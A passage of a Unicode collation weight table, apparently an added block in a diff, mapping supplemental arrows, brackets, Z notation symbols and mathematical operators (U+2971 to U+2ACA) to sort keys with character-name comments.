+2971  ; [*0B5A.0020.0002] # EQUALS SIGN ABOVE RIGHTWARDS ARROW
+2972  ; [*0B5B.0020.0002] # TILDE OPERATOR ABOVE RIGHTWARDS ARROW
+2973  ; [*0B5C.0020.0002] # LEFTWARDS ARROW ABOVE TILDE OPERATOR
+2974  ; [*0B5D.0020.0002] # RIGHTWARDS ARROW ABOVE TILDE OPERATOR
+2975  ; [*0B5E.0020.0002] # RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO
+2976  ; [*0B5F.0020.0002] # LESS-THAN ABOVE LEFTWARDS ARROW
+2977  ; [*0B60.0020.0002] # LEFTWARDS ARROW THROUGH LESS-THAN
+2978  ; [*0B61.0020.0002] # GREATER-THAN ABOVE RIGHTWARDS ARROW
+2979  ; [*0B62.0020.0002] # SUBSET ABOVE RIGHTWARDS ARROW
+297A  ; [*0B63.0020.0002] # LEFTWARDS ARROW THROUGH SUBSET
+297B  ; [*0B64.0020.0002] # SUPERSET ABOVE LEFTWARDS ARROW
+297C  ; [*0B65.0020.0002] # LEFT FISH TAIL
+297D  ; [*0B66.0020.0002] # RIGHT FISH TAIL
+297E  ; [*0B67.0020.0002] # UP FISH TAIL
+297F  ; [*0B68.0020.0002] # DOWN FISH TAIL
+2980  ; [*0B69.0020.0002] # TRIPLE VERTICAL BAR DELIMITER
+2981  ; [*0B6A.0020.0002] # Z NOTATION SPOT
+2982  ; [*0B6B.0020.0002] # Z NOTATION TYPE COLON
+2983  ; [*032B.0020.0002] # LEFT WHITE CURLY BRACKET
+2984  ; [*032C.0020.0002] # RIGHT WHITE CURLY BRACKET
+2985  ; [*032D.0020.0002] # LEFT WHITE PARENTHESIS
+2986  ; [*032E.0020.0002] # RIGHT WHITE PARENTHESIS
+2987  ; [*032F.0020.0002] # Z NOTATION LEFT IMAGE BRACKET
+2988  ; [*0330.0020.0002] # Z NOTATION RIGHT IMAGE BRACKET
+2989  ; [*0331.0020.0002] # Z NOTATION LEFT BINDING BRACKET
+298A  ; [*0332.0020.0002] # Z NOTATION RIGHT BINDING BRACKET
+298B  ; [*0333.0020.0002] # LEFT SQUARE BRACKET WITH UNDERBAR
+298C  ; [*0334.0020.0002] # RIGHT SQUARE BRACKET WITH UNDERBAR
+298D  ; [*0335.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN TOP CORNER
+298E  ; [*0336.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+298F  ; [*0337.0020.0002] # LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER
+2990  ; [*0338.0020.0002] # RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER
+2991  ; [*0339.0020.0002] # LEFT ANGLE BRACKET WITH DOT
+2992  ; [*033A.0020.0002] # RIGHT ANGLE BRACKET WITH DOT
+2993  ; [*033B.0020.0002] # LEFT ARC LESS-THAN BRACKET
+2994  ; [*033C.0020.0002] # RIGHT ARC GREATER-THAN BRACKET
+2995  ; [*033D.0020.0002] # DOUBLE LEFT ARC GREATER-THAN BRACKET
+2996  ; [*033E.0020.0002] # DOUBLE RIGHT ARC LESS-THAN BRACKET
+2997  ; [*033F.0020.0002] # LEFT BLACK TORTOISE SHELL BRACKET
+2998  ; [*0340.0020.0002] # RIGHT BLACK TORTOISE SHELL BRACKET
+2999  ; [*0B6C.0020.0002] # DOTTED FENCE
+299A  ; [*0B6D.0020.0002] # VERTICAL ZIGZAG LINE
+299B  ; [*0B6E.0020.0002] # MEASURED ANGLE OPENING LEFT
+299C  ; [*0B6F.0020.0002] # RIGHT ANGLE VARIANT WITH SQUARE
+299D  ; [*0B70.0020.0002] # MEASURED RIGHT ANGLE WITH DOT
+299E  ; [*0B71.0020.0002] # ANGLE WITH S INSIDE
+299F  ; [*0B72.0020.0002] # ACUTE ANGLE
+29A0  ; [*0B73.0020.0002] # SPHERICAL ANGLE OPENING LEFT
+29A1  ; [*0B74.0020.0002] # SPHERICAL ANGLE OPENING UP
+29A2  ; [*0B75.0020.0002] # TURNED ANGLE
+29A3  ; [*0B76.0020.0002] # REVERSED ANGLE
+29A4  ; [*0B77.0020.0002] # ANGLE WITH UNDERBAR
+29A5  ; [*0B78.0020.0002] # REVERSED ANGLE WITH UNDERBAR
+29A6  ; [*0B79.0020.0002] # OBLIQUE ANGLE OPENING UP
+29A7  ; [*0B7A.0020.0002] # OBLIQUE ANGLE OPENING DOWN
+29A8  ; [*0B7B.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT
+29A9  ; [*0B7C.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT
+29AA  ; [*0B7D.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT
+29AB  ; [*0B7E.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND LEFT
+29AC  ; [*0B7F.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND UP
+29AD  ; [*0B80.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND UP
+29AE  ; [*0B81.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING RIGHT AND DOWN
+29AF  ; [*0B82.0020.0002] # MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING LEFT AND DOWN
+29B0  ; [*0B83.0020.0002] # REVERSED EMPTY SET
+29B1  ; [*0B84.0020.0002] # EMPTY SET WITH OVERBAR
+29B2  ; [*0B85.0020.0002] # EMPTY SET WITH SMALL CIRCLE ABOVE
+29B3  ; [*0B86.0020.0002] # EMPTY SET WITH RIGHT ARROW ABOVE
+29B4  ; [*0B87.0020.0002] # EMPTY SET WITH LEFT ARROW ABOVE
+29B5  ; [*0B88.0020.0002] # CIRCLE WITH HORIZONTAL BAR
+29B6  ; [*0B89.0020.0002] # CIRCLED VERTICAL BAR
+29B7  ; [*0B8A.0020.0002] # CIRCLED PARALLEL
+29B8  ; [*0B8B.0020.0002] # CIRCLED REVERSE SOLIDUS
+29B9  ; [*0B8C.0020.0002] # CIRCLED PERPENDICULAR
+29BA  ; [*0B8D.0020.0002] # CIRCLE DIVIDED BY HORIZONTAL BAR AND TOP HALF DIVIDED BY VERTICAL BAR
+29BB  ; [*0B8E.0020.0002] # CIRCLE WITH SUPERIMPOSED X
+29BC  ; [*0B8F.0020.0002] # CIRCLED ANTICLOCKWISE-ROTATED DIVISION SIGN
+29BD  ; [*0B90.0020.0002] # UP ARROW THROUGH CIRCLE
+29BE  ; [*0B91.0020.0002] # CIRCLED WHITE BULLET
+29BF  ; [*0B92.0020.0002] # CIRCLED BULLET
+29C0  ; [*0B93.0020.0002] # CIRCLED LESS-THAN
+29C1  ; [*0B94.0020.0002] # CIRCLED GREATER-THAN
+29C2  ; [*0B95.0020.0002] # CIRCLE WITH SMALL CIRCLE TO THE RIGHT
+29C3  ; [*0B96.0020.0002] # CIRCLE WITH TWO HORIZONTAL STROKES TO THE RIGHT
+29C4  ; [*0B97.0020.0002] # SQUARED RISING DIAGONAL SLASH
+29C5  ; [*0B98.0020.0002] # SQUARED FALLING DIAGONAL SLASH
+29C6  ; [*0B99.0020.0002] # SQUARED ASTERISK
+29C7  ; [*0B9A.0020.0002] # SQUARED SMALL CIRCLE
+29C8  ; [*0B9B.0020.0002] # SQUARED SQUARE
+29C9  ; [*0B9C.0020.0002] # TWO JOINED SQUARES
+29CA  ; [*0B9D.0020.0002] # TRIANGLE WITH DOT ABOVE
+29CB  ; [*0B9E.0020.0002] # TRIANGLE WITH UNDERBAR
+29CC  ; [*0B9F.0020.0002] # S IN TRIANGLE
+29CD  ; [*0BA0.0020.0002] # TRIANGLE WITH SERIFS AT BOTTOM
+29CE  ; [*0BA1.0020.0002] # RIGHT TRIANGLE ABOVE LEFT TRIANGLE
+29CF  ; [*0BA2.0020.0002] # LEFT TRIANGLE BESIDE VERTICAL BAR
+29D0  ; [*0BA3.0020.0002] # VERTICAL BAR BESIDE RIGHT TRIANGLE
+29D1  ; [*0BA4.0020.0002] # BOWTIE WITH LEFT HALF BLACK
+29D2  ; [*0BA5.0020.0002] # BOWTIE WITH RIGHT HALF BLACK
+29D3  ; [*0BA6.0020.0002] # BLACK BOWTIE
+29D4  ; [*0BA7.0020.0002] # TIMES WITH LEFT HALF BLACK
+29D5  ; [*0BA8.0020.0002] # TIMES WITH RIGHT HALF BLACK
+29D6  ; [*0BA9.0020.0002] # WHITE HOURGLASS
+29D7  ; [*0BAA.0020.0002] # BLACK HOURGLASS
+29D8  ; [*0385.0020.0002] # LEFT WIGGLY FENCE
+29D9  ; [*0386.0020.0002] # RIGHT WIGGLY FENCE
+29DA  ; [*0387.0020.0002] # LEFT DOUBLE WIGGLY FENCE
+29DB  ; [*0388.0020.0002] # RIGHT DOUBLE WIGGLY FENCE
+29DC  ; [*0BAB.0020.0002] # INCOMPLETE INFINITY
+29DD  ; [*0BAC.0020.0002] # TIE OVER INFINITY
+29DE  ; [*0BAD.0020.0002] # INFINITY NEGATED WITH VERTICAL BAR
+29DF  ; [*0BAE.0020.0002] # DOUBLE-ENDED MULTIMAP
+29E0  ; [*0BAF.0020.0002] # SQUARE WITH CONTOURED OUTLINE
+29E1  ; [*0BB0.0020.0002] # INCREASES AS
+29E2  ; [*0BB1.0020.0002] # SHUFFLE PRODUCT
+29E3  ; [*0BB2.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL
+29E4  ; [*0BB3.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE
+29E5  ; [*0BB4.0020.0002] # IDENTICAL TO AND SLANTED PARALLEL
+29E6  ; [*0BB5.0020.0002] # GLEICH STARK
+29E7  ; [*0BB6.0020.0002] # THERMODYNAMIC
+29E8  ; [*0BB7.0020.0002] # DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK
+29E9  ; [*0BB8.0020.0002] # DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK
+29EA  ; [*0BB9.0020.0002] # BLACK DIAMOND WITH DOWN ARROW
+29EB  ; [*0BBA.0020.0002] # BLACK LOZENGE
+29EC  ; [*0BBB.0020.0002] # WHITE CIRCLE WITH DOWN ARROW
+29ED  ; [*0BBC.0020.0002] # BLACK CIRCLE WITH DOWN ARROW
+29EE  ; [*0BBD.0020.0002] # ERROR-BARRED WHITE SQUARE
+29EF  ; [*0BBE.0020.0002] # ERROR-BARRED BLACK SQUARE
+29F0  ; [*0BBF.0020.0002] # ERROR-BARRED WHITE DIAMOND
+29F1  ; [*0BC0.0020.0002] # ERROR-BARRED BLACK DIAMOND
+29F2  ; [*0BC1.0020.0002] # ERROR-BARRED WHITE CIRCLE
+29F3  ; [*0BC2.0020.0002] # ERROR-BARRED BLACK CIRCLE
+29F4  ; [*0BC3.0020.0002] # RULE-DELAYED
+29F5  ; [*0BC4.0020.0002] # REVERSE SOLIDUS OPERATOR
+29F6  ; [*0BC5.0020.0002] # SOLIDUS WITH OVERBAR
+29F7  ; [*0BC6.0020.0002] # REVERSE SOLIDUS WITH HORIZONTAL STROKE
+29F8  ; [*0BC7.0020.0002] # BIG SOLIDUS
+29F9  ; [*0BC8.0020.0002] # BIG REVERSE SOLIDUS
+29FA  ; [*0BC9.0020.0002] # DOUBLE PLUS
+29FB  ; [*0BCA.0020.0002] # TRIPLE PLUS
+29FC  ; [*0329.0020.0002] # LEFT-POINTING CURVED ANGLE BRACKET
+29FD  ; [*032A.0020.0002] # RIGHT-POINTING CURVED ANGLE BRACKET
+29FE  ; [*0BCB.0020.0002] # TINY
+29FF  ; [*0BCC.0020.0002] # MINY
+2A00  ; [*0BCD.0020.0002] # N-ARY CIRCLED DOT OPERATOR
+2A01  ; [*0BCE.0020.0002] # N-ARY CIRCLED PLUS OPERATOR
+2A02  ; [*0BCF.0020.0002] # N-ARY CIRCLED TIMES OPERATOR
+2A03  ; [*0BD0.0020.0002] # N-ARY UNION OPERATOR WITH DOT
+2A04  ; [*0BD1.0020.0002] # N-ARY UNION OPERATOR WITH PLUS
+2A05  ; [*0BD2.0020.0002] # N-ARY SQUARE INTERSECTION OPERATOR
+2A06  ; [*0BD3.0020.0002] # N-ARY SQUARE UNION OPERATOR
+2A07  ; [*0BD4.0020.0002] # TWO LOGICAL AND OPERATOR
+2A08  ; [*0BD5.0020.0002] # TWO LOGICAL OR OPERATOR
+2A09  ; [*0BD6.0020.0002] # N-ARY TIMES OPERATOR
+2A0A  ; [*0BD7.0020.0002] # MODULO TWO SUM
+2A0B  ; [*0BD8.0020.0002] # SUMMATION WITH INTEGRAL
+2A0C  ; [*063C.0020.0004][*063C.0020.0004][*063C.0020.0004][*063C.0020.0004] # QUADRUPLE INTEGRAL OPERATOR
+2A0D  ; [*0BD9.0020.0002] # FINITE PART INTEGRAL
+2A0E  ; [*0BDA.0020.0002] # INTEGRAL WITH DOUBLE STROKE
+2A0F  ; [*0BDB.0020.0002] # INTEGRAL AVERAGE WITH SLASH
+2A10  ; [*0BDC.0020.0002] # CIRCULATION FUNCTION
+2A11  ; [*0BDD.0020.0002] # ANTICLOCKWISE INTEGRATION
+2A12  ; [*0BDE.0020.0002] # LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE
+2A13  ; [*0BDF.0020.0002] # LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE
+2A14  ; [*0BE0.0020.0002] # LINE INTEGRATION NOT INCLUDING THE POLE
+2A15  ; [*0BE1.0020.0002] # INTEGRAL AROUND A POINT OPERATOR
+2A16  ; [*0BE2.0020.0002] # QUATERNION INTEGRAL OPERATOR
+2A17  ; [*0BE3.0020.0002] # INTEGRAL WITH LEFTWARDS ARROW WITH HOOK
+2A18  ; [*0BE4.0020.0002] # INTEGRAL WITH TIMES SIGN
+2A19  ; [*0BE5.0020.0002] # INTEGRAL WITH INTERSECTION
+2A1A  ; [*0BE6.0020.0002] # INTEGRAL WITH UNION
+2A1B  ; [*0BE7.0020.0002] # INTEGRAL WITH OVERBAR
+2A1C  ; [*0BE8.0020.0002] # INTEGRAL WITH UNDERBAR
+2A1D  ; [*0BE9.0020.0002] # JOIN
+2A1E  ; [*0BEA.0020.0002] # LARGE LEFT TRIANGLE OPERATOR
+2A1F  ; [*0BEB.0020.0002] # Z NOTATION SCHEMA COMPOSITION
+2A20  ; [*0BEC.0020.0002] # Z NOTATION SCHEMA PIPING
+2A21  ; [*0BED.0020.0002] # Z NOTATION SCHEMA PROJECTION
+2A22  ; [*0BEE.0020.0002] # PLUS SIGN WITH SMALL CIRCLE ABOVE
+2A23  ; [*0BEF.0020.0002] # PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE
+2A24  ; [*0BF0.0020.0002] # PLUS SIGN WITH TILDE ABOVE
+2A25  ; [*0BF1.0020.0002] # PLUS SIGN WITH DOT BELOW
+2A26  ; [*0BF2.0020.0002] # PLUS SIGN WITH TILDE BELOW
+2A27  ; [*0BF3.0020.0002] # PLUS SIGN WITH SUBSCRIPT TWO
+2A28  ; [*0BF4.0020.0002] # PLUS SIGN WITH BLACK TRIANGLE
+2A29  ; [*0BF5.0020.0002] # MINUS SIGN WITH COMMA ABOVE
+2A2A  ; [*0BF6.0020.0002] # MINUS SIGN WITH DOT BELOW
+2A2B  ; [*0BF7.0020.0002] # MINUS SIGN WITH FALLING DOTS
+2A2C  ; [*0BF8.0020.0002] # MINUS SIGN WITH RISING DOTS
+2A2D  ; [*0BF9.0020.0002] # PLUS SIGN IN LEFT HALF CIRCLE
+2A2E  ; [*0BFA.0020.0002] # PLUS SIGN IN RIGHT HALF CIRCLE
+2A2F  ; [*0BFB.0020.0002] # VECTOR OR CROSS PRODUCT
+2A30  ; [*0BFC.0020.0002] # MULTIPLICATION SIGN WITH DOT ABOVE
+2A31  ; [*0BFD.0020.0002] # MULTIPLICATION SIGN WITH UNDERBAR
+2A32  ; [*0BFE.0020.0002] # SEMIDIRECT PRODUCT WITH BOTTOM CLOSED
+2A33  ; [*0BFF.0020.0002] # SMASH PRODUCT
+2A34  ; [*0C00.0020.0002] # MULTIPLICATION SIGN IN LEFT HALF CIRCLE
+2A35  ; [*0C01.0020.0002] # MULTIPLICATION SIGN IN RIGHT HALF CIRCLE
+2A36  ; [*0C02.0020.0002] # CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT
+2A37  ; [*0C03.0020.0002] # MULTIPLICATION SIGN IN DOUBLE CIRCLE
+2A38  ; [*0C04.0020.0002] # CIRCLED DIVISION SIGN
+2A39  ; [*0C05.0020.0002] # PLUS SIGN IN TRIANGLE
+2A3A  ; [*0C06.0020.0002] # MINUS SIGN IN TRIANGLE
+2A3B  ; [*0C07.0020.0002] # MULTIPLICATION SIGN IN TRIANGLE
+2A3C  ; [*0C08.0020.0002] # INTERIOR PRODUCT
+2A3D  ; [*0C09.0020.0002] # RIGHTHAND INTERIOR PRODUCT
+2A3E  ; [*0C0A.0020.0002] # Z NOTATION RELATIONAL COMPOSITION
+2A3F  ; [*0C0B.0020.0002] # AMALGAMATION OR COPRODUCT
+2A40  ; [*0C0C.0020.0002] # INTERSECTION WITH DOT
+2A41  ; [*0C0D.0020.0002] # UNION WITH MINUS SIGN
+2A42  ; [*0C0E.0020.0002] # UNION WITH OVERBAR
+2A43  ; [*0C0F.0020.0002] # INTERSECTION WITH OVERBAR
+2A44  ; [*0C10.0020.0002] # INTERSECTION WITH LOGICAL AND
+2A45  ; [*0C11.0020.0002] # UNION WITH LOGICAL OR
+2A46  ; [*0C12.0020.0002] # UNION ABOVE INTERSECTION
+2A47  ; [*0C13.0020.0002] # INTERSECTION ABOVE UNION
+2A48  ; [*0C14.0020.0002] # UNION ABOVE BAR ABOVE INTERSECTION
+2A49  ; [*0C15.0020.0002] # INTERSECTION ABOVE BAR ABOVE UNION
+2A4A  ; [*0C16.0020.0002] # UNION BESIDE AND JOINED WITH UNION
+2A4B  ; [*0C17.0020.0002] # INTERSECTION BESIDE AND JOINED WITH INTERSECTION
+2A4C  ; [*0C18.0020.0002] # CLOSED UNION WITH SERIFS
+2A4D  ; [*0C19.0020.0002] # CLOSED INTERSECTION WITH SERIFS
+2A4E  ; [*0C1A.0020.0002] # DOUBLE SQUARE INTERSECTION
+2A4F  ; [*0C1B.0020.0002] # DOUBLE SQUARE UNION
+2A50  ; [*0C1C.0020.0002] # CLOSED UNION WITH SERIFS AND SMASH PRODUCT
+2A51  ; [*0C1D.0020.0002] # LOGICAL AND WITH DOT ABOVE
+2A52  ; [*0C1E.0020.0002] # LOGICAL OR WITH DOT ABOVE
+2A53  ; [*0C1F.0020.0002] # DOUBLE LOGICAL AND
+2A54  ; [*0C20.0020.0002] # DOUBLE LOGICAL OR
+2A55  ; [*0C21.0020.0002] # TWO INTERSECTING LOGICAL AND
+2A56  ; [*0C22.0020.0002] # TWO INTERSECTING LOGICAL OR
+2A57  ; [*0C23.0020.0002] # SLOPING LARGE OR
+2A58  ; [*0C24.0020.0002] # SLOPING LARGE AND
+2A59  ; [*0C25.0020.0002] # LOGICAL OR OVERLAPPING LOGICAL AND
+2A5A  ; [*0C26.0020.0002] # LOGICAL AND WITH MIDDLE STEM
+2A5B  ; [*0C27.0020.0002] # LOGICAL OR WITH MIDDLE STEM
+2A5C  ; [*0C28.0020.0002] # LOGICAL AND WITH HORIZONTAL DASH
+2A5D  ; [*0C29.0020.0002] # LOGICAL OR WITH HORIZONTAL DASH
+2A5E  ; [*0C2A.0020.0002] # LOGICAL AND WITH DOUBLE OVERBAR
+2A5F  ; [*0C2B.0020.0002] # LOGICAL AND WITH UNDERBAR
+2A60  ; [*0C2C.0020.0002] # LOGICAL AND WITH DOUBLE UNDERBAR
+2A61  ; [*0C2D.0020.0002] # SMALL VEE WITH UNDERBAR
+2A62  ; [*0C2E.0020.0002] # LOGICAL OR WITH DOUBLE OVERBAR
+2A63  ; [*0C2F.0020.0002] # LOGICAL OR WITH DOUBLE UNDERBAR
+2A64  ; [*0C30.0020.0002] # Z NOTATION DOMAIN ANTIRESTRICTION
+2A65  ; [*0C31.0020.0002] # Z NOTATION RANGE ANTIRESTRICTION
+2A66  ; [*0C32.0020.0002] # EQUALS SIGN WITH DOT BELOW
+2A67  ; [*0C33.0020.0002] # IDENTICAL WITH DOT ABOVE
+2A68  ; [*0C34.0020.0002] # TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE
+2A69  ; [*0C35.0020.0002] # TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE
+2A6A  ; [*0C36.0020.0002] # TILDE OPERATOR WITH DOT ABOVE
+2A6B  ; [*0C37.0020.0002] # TILDE OPERATOR WITH RISING DOTS
+2A6C  ; [*0C38.0020.0002] # SIMILAR MINUS SIMILAR
+2A6D  ; [*0C39.0020.0002] # CONGRUENT WITH DOT ABOVE
+2A6E  ; [*0C3A.0020.0002] # EQUALS WITH ASTERISK
+2A6F  ; [*0C3B.0020.0002] # ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT
+2A70  ; [*0C3C.0020.0002] # APPROXIMATELY EQUAL OR EQUAL TO
+2A71  ; [*0C3D.0020.0002] # EQUALS SIGN ABOVE PLUS SIGN
+2A72  ; [*0C3E.0020.0002] # PLUS SIGN ABOVE EQUALS SIGN
+2A73  ; [*0C3F.0020.0002] # EQUALS SIGN ABOVE TILDE OPERATOR
+2A74  ; [*0239.0020.0004][*0239.0020.0004][*061B.0020.0004] # DOUBLE COLON EQUAL
+2A75  ; [*061B.0020.0004][*061B.0020.0004] # TWO CONSECUTIVE EQUALS SIGNS
+2A76  ; [*061B.0020.0004][*061B.0020.0004][*061B.0020.0004] # THREE CONSECUTIVE EQUALS SIGNS
+2A77  ; [*0C40.0020.0002] # EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW
+2A78  ; [*0C41.0020.0002] # EQUIVALENT WITH FOUR DOTS ABOVE
+2A79  ; [*0C42.0020.0002] # LESS-THAN WITH CIRCLE INSIDE
+2A7A  ; [*0C43.0020.0002] # GREATER-THAN WITH CIRCLE INSIDE
+2A7B  ; [*0C44.0020.0002] # LESS-THAN WITH QUESTION MARK ABOVE
+2A7C  ; [*0C45.0020.0002] # GREATER-THAN WITH QUESTION MARK ABOVE
+2A7D  ; [*0C46.0020.0002] # LESS-THAN OR SLANTED EQUAL TO
+2A7E  ; [*0C47.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO
+2A7F  ; [*0C48.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE
+2A80  ; [*0C49.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE
+2A81  ; [*0C4A.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE
+2A82  ; [*0C4B.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE
+2A83  ; [*0C4C.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT
+2A84  ; [*0C4D.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT
+2A85  ; [*0C4E.0020.0002] # LESS-THAN OR APPROXIMATE
+2A86  ; [*0C4F.0020.0002] # GREATER-THAN OR APPROXIMATE
+2A87  ; [*0C50.0020.0002] # LESS-THAN AND SINGLE-LINE NOT EQUAL TO
+2A88  ; [*0C51.0020.0002] # GREATER-THAN AND SINGLE-LINE NOT EQUAL TO
+2A89  ; [*0C52.0020.0002] # LESS-THAN AND NOT APPROXIMATE
+2A8A  ; [*0C53.0020.0002] # GREATER-THAN AND NOT APPROXIMATE
+2A8B  ; [*0C54.0020.0002] # LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN
+2A8C  ; [*0C55.0020.0002] # GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN
+2A8D  ; [*0C56.0020.0002] # LESS-THAN ABOVE SIMILAR OR EQUAL
+2A8E  ; [*0C57.0020.0002] # GREATER-THAN ABOVE SIMILAR OR EQUAL
+2A8F  ; [*0C58.0020.0002] # LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN
+2A90  ; [*0C59.0020.0002] # GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN
+2A91  ; [*0C5A.0020.0002] # LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL
+2A92  ; [*0C5B.0020.0002] # GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL
+2A93  ; [*0C5C.0020.0002] # LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL
+2A94  ; [*0C5D.0020.0002] # GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL
+2A95  ; [*0C5E.0020.0002] # SLANTED EQUAL TO OR LESS-THAN
+2A96  ; [*0C5F.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN
+2A97  ; [*0C60.0020.0002] # SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE
+2A98  ; [*0C61.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE
+2A99  ; [*0C62.0020.0002] # DOUBLE-LINE EQUAL TO OR LESS-THAN
+2A9A  ; [*0C63.0020.0002] # DOUBLE-LINE EQUAL TO OR GREATER-THAN
+2A9B  ; [*0C64.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN
+2A9C  ; [*0C65.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN
+2A9D  ; [*0C66.0020.0002] # SIMILAR OR LESS-THAN
+2A9E  ; [*0C67.0020.0002] # SIMILAR OR GREATER-THAN
+2A9F  ; [*0C68.0020.0002] # SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN
+2AA0  ; [*0C69.0020.0002] # SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN
+2AA1  ; [*0C6A.0020.0002] # DOUBLE NESTED LESS-THAN
+2AA2  ; [*0C6B.0020.0002] # DOUBLE NESTED GREATER-THAN
+2AA3  ; [*0C6C.0020.0002] # DOUBLE NESTED LESS-THAN WITH UNDERBAR
+2AA4  ; [*0C6D.0020.0002] # GREATER-THAN OVERLAPPING LESS-THAN
+2AA5  ; [*0C6E.0020.0002] # GREATER-THAN BESIDE LESS-THAN
+2AA6  ; [*0C6F.0020.0002] # LESS-THAN CLOSED BY CURVE
+2AA7  ; [*0C70.0020.0002] # GREATER-THAN CLOSED BY CURVE
+2AA8  ; [*0C71.0020.0002] # LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL
+2AA9  ; [*0C72.0020.0002] # GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL
+2AAA  ; [*0C73.0020.0002] # SMALLER THAN
+2AAB  ; [*0C74.0020.0002] # LARGER THAN
+2AAC  ; [*0C75.0020.0002] # SMALLER THAN OR EQUAL TO
+2AAD  ; [*0C76.0020.0002] # LARGER THAN OR EQUAL TO
+2AAE  ; [*0C77.0020.0002] # EQUALS SIGN WITH BUMPY ABOVE
+2AAF  ; [*0C78.0020.0002] # PRECEDES ABOVE SINGLE-LINE EQUALS SIGN
+2AB0  ; [*0C79.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN
+2AB1  ; [*0C7A.0020.0002] # PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO
+2AB2  ; [*0C7B.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO
+2AB3  ; [*0C7C.0020.0002] # PRECEDES ABOVE EQUALS SIGN
+2AB4  ; [*0C7D.0020.0002] # SUCCEEDS ABOVE EQUALS SIGN
+2AB5  ; [*0C7E.0020.0002] # PRECEDES ABOVE NOT EQUAL TO
+2AB6  ; [*0C7F.0020.0002] # SUCCEEDS ABOVE NOT EQUAL TO
+2AB7  ; [*0C80.0020.0002] # PRECEDES ABOVE ALMOST EQUAL TO
+2AB8  ; [*0C81.0020.0002] # SUCCEEDS ABOVE ALMOST EQUAL TO
+2AB9  ; [*0C82.0020.0002] # PRECEDES ABOVE NOT ALMOST EQUAL TO
+2ABA  ; [*0C83.0020.0002] # SUCCEEDS ABOVE NOT ALMOST EQUAL TO
+2ABB  ; [*0C84.0020.0002] # DOUBLE PRECEDES
+2ABC  ; [*0C85.0020.0002] # DOUBLE SUCCEEDS
+2ABD  ; [*0C86.0020.0002] # SUBSET WITH DOT
+2ABE  ; [*0C87.0020.0002] # SUPERSET WITH DOT
+2ABF  ; [*0C88.0020.0002] # SUBSET WITH PLUS SIGN BELOW
+2AC0  ; [*0C89.0020.0002] # SUPERSET WITH PLUS SIGN BELOW
+2AC1  ; [*0C8A.0020.0002] # SUBSET WITH MULTIPLICATION SIGN BELOW
+2AC2  ; [*0C8B.0020.0002] # SUPERSET WITH MULTIPLICATION SIGN BELOW
+2AC3  ; [*0C8C.0020.0002] # SUBSET OF OR EQUAL TO WITH DOT ABOVE
+2AC4  ; [*0C8D.0020.0002] # SUPERSET OF OR EQUAL TO WITH DOT ABOVE
+2AC5  ; [*0C8E.0020.0002] # SUBSET OF ABOVE EQUALS SIGN
+2AC6  ; [*0C8F.0020.0002] # SUPERSET OF ABOVE EQUALS SIGN
+2AC7  ; [*0C90.0020.0002] # SUBSET OF ABOVE TILDE OPERATOR
+2AC8  ; [*0C91.0020.0002] # SUPERSET OF ABOVE TILDE OPERATOR
+2AC9  ; [*0C92.0020.0002] # SUBSET OF ABOVE ALMOST EQUAL TO
+2ACA  ; [*0C93.0020.0002] # SUPERSET OF ABOVE ALMOST EQUAL TO
